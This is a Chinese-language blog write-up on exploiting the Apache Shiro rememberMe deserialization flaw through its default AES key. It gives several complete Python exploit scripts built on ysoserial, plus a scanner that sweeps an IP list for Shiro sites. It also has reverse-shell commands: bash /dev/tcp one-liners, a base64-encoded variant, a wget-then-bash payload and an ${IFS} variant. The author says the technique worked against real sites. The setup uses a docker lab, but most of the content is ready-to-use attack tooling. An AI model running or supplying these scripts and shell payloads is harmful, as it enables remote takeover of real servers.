这个漏洞挺久远的,但是又很常见,还是有很多站点有这个问题,但是之前总是没打通,分析了一下发现是自己的姿势错了,感谢菠萝师傅远程帮我调试 目录
漏洞环境搭建 直接使用docker搭建即可
1 2 docker pull medicean/vulapps:s_shiro_1 docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
工具 首先你要有ysoserial的jar文件 自行编译法
1 2 3 git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -DskipTests
在target目录下就有ysoserial-0.0.5-SNAPSHOT-all.jar /或者0.0.6 我发现编译很慢,也可以直接去网上找现成的 比如https://github.com/Kit4y/Src-Toolset/blob/master/anothervol-ShiroScan-master/ShiroScan/moule/ysoserial.jar 然后是pycrypto模块,这里我用ubuntu,因为win10这个大小写的毛病一直在
rce 复现 1、生成一个rce的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'CommonsCollections2' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme(sys.argv[1 ]) with open ("payload.cookie" , "w" ) as fpw: print ("rememberMe={}" .format (payload.decode()), file=fpw)
其中注意脚本和ysoserial.jar在同一目录下, 使用python shiro.py "curl 192.168.59.132:7777"
生成的payload.cookie即为payload,抓包改cookie 这里有个坑,如果你这样打不通,那就是可能抓的包要改JSESSIONID,改成一个不同的就行,我把第一个4改成2即可,貌似看了一些文章说这个是一次性的,之前卡了很久 当然你也可以直接写一个加上发包的脚本-改一下上面的就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsimport osimport sysimport uuidimport base64import subprocessimport argparsefrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial-0.0.6-SNAPSHOT-all.jar' , 'CommonsCollections2' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def exp_shiro (url,cmd ): payload = encode_rememberme(cmd) headers={ "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "Cookie" : "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}" .format (payload.decode()), "Upgrade-Insecure-Requests" : "1" } requests.get(url,headers=headers) if __name__=='__main__' : try : exp_shiro("http://192.168.59.132:8081/" ,"curl 192.168.59.132:7777" ) except Exception as e: print (e)
修改url和cmd即可 这里我用的是直接nc -lvnp接收,也可用这两个比较有名的接收平台http://ceye.io/ ,http://dnslog.cn/ ,其中ceye要登录,dnslog不需要登录即可,另外这个平台没有nslookup
如果key和模块不好调,可以试试菠萝师傅推荐的这个https://github.com/sv3nbeast/ShiroScan 使用方法也很简单python shiro_rce.py http://192.168.59.132:8081 "curl 192.168.59.132:7777"
,python2,python3好像都兼容 也能自己写一个大概的python3 check.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport sysrequests.packages.urllib3.disable_warnings() f=open ('ip.txt' ,'r' ) lines=f.readlines() f.close() header={ 'User-agent' : 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0;' , 'Cookie' :'rememberMe=xxx' } check="rememberMe" with open ("shiro.txt" ,"w" ) as f: for line in lines: try : k = requests.get(line.replace('\n' ,'' ),headers=header,timeout=5 ) l = str (k.headers) if check in l: print ("[+ " +"存在shiro:" +line) f.write(line+"\n" ) else : print ("[- " +"无shiro:" +line) except Exception as e: pass print ("全部check完毕,请查看当前目录下的shiro.txt" )
常规反弹shell 复现 首先在vps上开一个反弹shell的等待服务nc -lvnp 7777
理论上如果是php我们能任意代码执行那么只要bash -i >& /dev/tcp/192.168.59.132/7777 0>&1
就行,但是试了很久发现不能反弹成功-(这里是一个Q1之后解答)
之前已经整好了ysoserial.jar,也需要在vps上搭一个JRMP Listener 服务, 语法是java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 'rce code'
,但是这里的rce-code需要生成runtime-exec-payload前往这个平台http://www.jackson-t.ca/runtime-exec-payloads.html bash -i >& /dev/tcp/192.168.59.132/7777 0>&1
加密得到bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
其实规则就是 bash: bash -c {echo,code_to_base64}|{base64,-d}|{bash,-i}
python: python -c exec('code_to_base64'.decode('base64'))
,居然生成好了payload然后运行即可java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.explo.JRMPListener 3888 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
然后现在就是要靶机的shiro打到我们的JRMP Listener 服务服务上,web_url是靶机url,target是我们JRMP服务 getshell_exp.py-ubuntu下兼容py2,py3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import sysimport uuidimport base64import subprocessimport requestsfrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'JRMPClient' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def exp_shiro (url,cmd ): payload = encode_rememberme(cmd) headers={ "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "Cookie" : "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}" .format (payload.decode()), "Upgrade-Insecure-Requests" : "1" } requests.get(url,headers=headers) if __name__ == '__main__' : web_url="http://192.168.59.132:8081" target="192.168.59.132:3888" exp_shiro(web_url,target)
综上运行就是
1 2 3 nc -lvnp 7777 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU5LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}' python getshell_exp.py
终极payload 那么其实也就可以一体化了 环境ubuntu-python3 用样的你需要把ysoserial.jar丢shiro_exp.py下 shiro_exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import requestsimport osimport signalimport sysimport uuidimport base64import timeimport subprocessimport argparsefrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'JRMPClient' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def httpsender (url,headers ): try : response = requests.get(url,headers=headers) if response.status_code == 200 : print ("Exploit target IP" ) else : print ("Something happend, got status_code : " +response.status_code) except Exception: print ("requests error : may be Connect error<" ) def exp_shiro (url,cmd ): payload = encode_rememberme(cmd) print ("rememberMe={0}" .format (payload.decode())) headers={ "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "Cookie" : "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}" .format (payload.decode()), "Upgrade-Insecure-Requests" : "1" } httpsender(url,headers) def javalisten (lhost,lport_listen ): listenshell="bash -i >& /dev/tcp/{0}/{1} 0>&1" .format (lhost,lport_listen) encode_ls=str (base64.b64encode(listenshell.encode('utf-8' )),'utf-8' ) print (encode_ls) execmd='java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections2 "bash -c {echo,' +encode_ls+'}|{base64,-d}|{bash,-i}"' print (execmd) p=subprocess.Popen(execmd,shell=True , stdout=subprocess.PIPE,close_fds=True , preexec_fn = os.setsid) return p parser = argparse.ArgumentParser(description='shiro_exp U can getshell Only for study ' ,epilog="python shiro_exp.py -u [url] -lh [localhost] -lp [localport]" ) parser.add_argument('--url' , '-u' , help ='目的站点的url' ,required=True ) parser.add_argument('--lhost' , '-lh' , help ='本地监听主机IP地址' ,required=True ) parser.add_argument('--lport' , '-lp' , help ='本机监听主机PORT端口' ,required=True ) args = parser.parse_args() if __name__=='__main__' : try : rmiserver="{0}:3888" .format (args.lhost) p=javalisten(args.lhost,args.lport) time.sleep(5 ) exp_shiro(args.url,rmiserver) os.killpg(p.pid,signal.SIGUSR1) except Exception as e: print (e)
1 2 3 nc -lvnp 7777 python3 shiro_exp.py -u http://192.168.59.132:8081 -lh 192.168.59.132 -lp 7777
使用子进程开启JRMPListener服务,等待时长5秒可根据网络自行修改
不使用JRMPListener能否反弹shell问题Q1 还记得前面说过,既然能rce,为什么不直接使用bash -i >& /dev/tcp/192.168.59.132/7777 0>&1
反弹shell? 经过多次尝试发现,的确直接如此反弹shell不能成功,于是尝试分2步实现echo '/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1' >> a.txt &&bash a.txt
又不能成功 后来测试了很久发现使用echo '123' >> a.txt
这样的rce是不能实现的
当觉得不可能不用JRMPListener反弹shell的时候,我发现wget居然可以直接使用,,那么我们只要先把'/bin/bash -i >& /dev/tcp/192.168.59.132/7777 0>&1'
丢服务器上保存为shell.txt,然后bash就行也是分2步
1 2 exp_shiro(URL,"wget http://XXXXXX:8089/shell.txt -O shell") exp_shiro(URL,"bash shell")
然后发现有时候会成功有时候不成功,感觉是wget时间问题,大概就是wget还没成功,就bash了所以加一个sleep
1 2 3 exp_shiro(URL,"wget http://XXXXXXX:8089/shell.txt -O shell") time.sleep(4) exp_shiro(URL,"bash shell")
nice成功跑出了,本地测试一个一下又测试了几台服务器-如果服务器wget比较慢可以设置等5-10秒可以完美跑出
最后不用JRMPListener的完美版脚本长这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import requestsimport osimport sysimport timeimport uuidimport base64import subprocessimport argparsefrom Crypto.Cipher import AESdef encode_rememberme (command ): popen = subprocess.Popen(['java' , '-jar' , 'ysoserial.jar' , 'CommonsCollections2' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ) iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext def exp_shiro (url,cmd ): payload = encode_rememberme(cmd) headers={ "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "Cookie" : "JSESSIONID=CF5804018B87760C96E8908FA1A56149;rememberMe={0}" .format (payload.decode()), "Upgrade-Insecure-Requests" : "1" } requests.get(url,headers=headers) parser = argparse.ArgumentParser(description='shiro_exp U can getshell Only for study ' ,epilog="python shiro_exp.py -u [url] -lh [localhost] -lp [localport]" ) parser.add_argument('--url' , '-u' , help ='目的站点的url' ,required=True ) args = parser.parse_args() if __name__=='__main__' : URL=args.url try : exp_shiro(URL,"wget http://XXXXX:8089/shell.txt -O shell" ) time.sleep(10 ) exp_shiro(URL,"bash shell" ) except Exception as e: print (e)
使用python3 shiro.py -u http://192.168.59.132:8081
那问什么网上所有的getshell的文章,都是建立JRMPListener服务然后getshell呢?估计第一个人这样用了成功了,后面的人都没思考其他方法吧。
2020/6/8 卧槽,今天和长亭同事打一个站,真的可以直接反弹shell,师傅们tql,学到了,5555555 我前面分析是什么玩意 pocbash -c bash${IFS}-i${IFS}>&/dev/tcp/XXXXX/XX<&1
2020/6/17 又有新发现改写ysoserial解决常规shell失效问题